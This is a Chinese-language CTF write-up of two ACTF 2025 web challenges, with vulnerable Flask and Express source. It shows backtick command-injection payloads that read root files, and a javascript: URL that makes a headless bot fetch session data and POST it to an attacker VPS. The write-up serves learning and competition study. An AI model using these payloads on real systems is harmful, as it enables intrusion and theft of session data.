前言
队伍:0psu3
emmm这次有点事,就看了俩web,剩下的由web✌w36秒完了qwq
也是拿到第9名了,加油加油upup!
我们也是ak web 加上 misc 一血哩!
ACTF upload
&1
bp爆破出来username:admin password:backdoor
emm,admin是解析不了图片的,发现可以使用任意用户名登录,密码还是backdoor
然后使用非admin用户上传图片可以得到图片base64解析
由此我们得知,其是将源文件base64编码然后以图片形式解析,那么我们就读取app.py然后出来其base64编码内容
由此我们可得到源码
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(
password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
&2
这里admin登录直接访问/upload?file_path=,测试shell执行base64可以执行命令,如:base64 `ls`
但是这里输出不完整,我们用tee输出到文件,然后利用user访问upload再读取
payload:
admin访问 /upload?file_path=base64 `ls /|tee 1.txt`
user访问 /upload?file_path=1.txt 即可查看文件base64编码后的内容得到flag在/Fl4g_is_H3r3里面
则继续读取
admin访问 /upload?file_path=base64 `cat /Fl4g_is_H3r3|tee 1.txt`
user访问 /upload?file_path=1.txt 即可查看flag
eznote
&1
下载附件,可以看到由js搭建的web网站,我们先审计bot.js(源代码放在wp最后)
这里bot.js会访问根目录,然后自动把flag放到note中,然后在访问传入的url值,我们这里要获取flag就得找到bot.js自动写入的flag在哪,找到在哪我们就要先找到哪里调用了visit这个函数,我们看app.js
这里导入了visit函数从bot.js中,在/report路由中调用的visit函数,并且在这里传入了url参数。然后我们找一下note有没有什么特征可以得到然后指定note访问获取其内容
我们可以访问根目录进行写note,可以看到note会有noteid标记,并且访问/note/{noteid}就可以访问其note内容
那么我们就目标明确,要找到其bot自动写入的note的noteid然后访问得到flag,我们看一下noteid的构成是先创建一个notes session
然后这里noteid是一个随机字符串,然后储存在notes session中
到这里我们目标更明确,获取bot的notes session即可得到其noteid,而且这里/report路由中url输入没有过滤,导致我们可以注入js,从而达到获取bot的session然后返回到我们自己的vps中
PS:这里note只负责写入session,但是没有读取,所以我们要让机器人通过/notes路由在其页面得到notes session
&2
这里构建payload,我们先post请求/report路由,传入url参数payload,让bot先写flag进note(bot.js逻辑),然后访问/notes路由刷新noteid,将页面内容带出来到vps中
PS:框框不支持多行输入,所以得整一下payload格式成一行
javascript:(()=>{fetch('http://localhost:3000/notes').then(s=>s.json()).then(p=>fetch('http://IP:PORT/',{method:'POST',body:JSON.stringify(p)}))})();
&3
vps打开nc监听(不要使用python -m http.server 默认其不支持post请求)最后得到noteid,我们访问/note/{noteid}得到flag
app.js源码
const express = require('express')
const session = require('express-session')
const { randomBytes } = require('crypto')
const fs = require('fs')
const spawn = require('child_process')
const path = require('path')
const { visit } = require('./bot')
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const LISTEN_PORT = 3000
const LISTEN_HOST = '0.0.0.0'
const app = express()
app.set('views', './views')
app.set('view engine', 'html')
app.engine('html', require('ejs').renderFile)
app.use(express.urlencoded({ extended: true }))
app.use(session({
secret: randomBytes(4).toString('hex'),
saveUninitialized: true,
resave: true,
}))
app.use((req, res, next) => {
if (!req.session.notes) {
req.session.notes = []
}
next()
})
const notes = new Map()
setInterval(() => { notes.clear() }, 60 * 1000);
function toHtml(source, format){
if (format == undefined) {
format = 'markdown'
}
let tmpfile = path.join('notes', randomBytes(4).toString('hex'))
fs.writeFileSync(tmpfile, source)
let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString()
// fs.unlinkSync(tmpfile)
return DOMPurify.sanitize(res)
}
app.get('/ping', (req, res) => {
res.send('pong')
})
app.get('/', (req, res) => {
res.render('index', { notes: req.session.notes })
})
app.get('/notes', (req, res) => {
res.send(req.session.notes)
})
app.get('/note/:noteId', (req, res) => {
let { noteId } = req.params
if(!notes.has(noteId)){
res.send('no such note')
return
}
let note = notes.get(noteId)
res.render('note', note)
})
app.post('/note', (req, res) => {
let noteId = randomBytes(8).toString('hex')
let { title, content, format } = req.body
if (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {
res.send("illegal format!!!")
return
}
notes.set(noteId, {
title: title,
content: toHtml(content, format)
})
req.session.notes.push(noteId)
res.send(noteId)
})
app.get('/report', (req, res) => {
res.render('report')
})
app.post('/report', async (req, res) => {
let { url } = req.body
try {
await visit(url)
res.send('success')
} catch (err) {
console.log(err)
res.send('error')
}
})
app.listen(LISTEN_PORT, LISTEN_HOST, () => {
console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)
})
bot.js源码
const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')
const FLAG = (() => {
let flag = 'flag{test}'
if (fs.existsSync('flag.txt')){
flag = fs.readFileSync('flag.txt').toString()
fs.unlinkSync('flag.txt')
}
return flag
})()
const HEADLESS = !!(process.env.PROD ?? false)
const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))
async function visit(url) {
let browser = await puppeteer.launch({
headless: HEADLESS,
executablePath: 'C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe',
args: ['--no-sandbox'],
})
let page = await browser.newPage()
await page.goto('http://localhost:3000/')
await page.waitForSelector('#title')
await page.type('#title', 'flag', {delay: 100})
await page.type('#content', FLAG, {delay: 100})
await page.click('#submit', {delay: 100})
await sleep(3)
console.log('visiting %s', url)
await page.goto(url)
await sleep(30)
await browser.close()
}
module.exports = {
visit
}
版权所有:lzz0403的技术博客
文章标题:ACTF 2025-0psu3-部分WEB题解
文章链接:https://cnup.top/?post=122
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ACTF 2025-0psu3-部分WEB题解
文章链接:https://cnup.top/?post=122
本站文章均为原创,未经授权请勿用于任何商业用途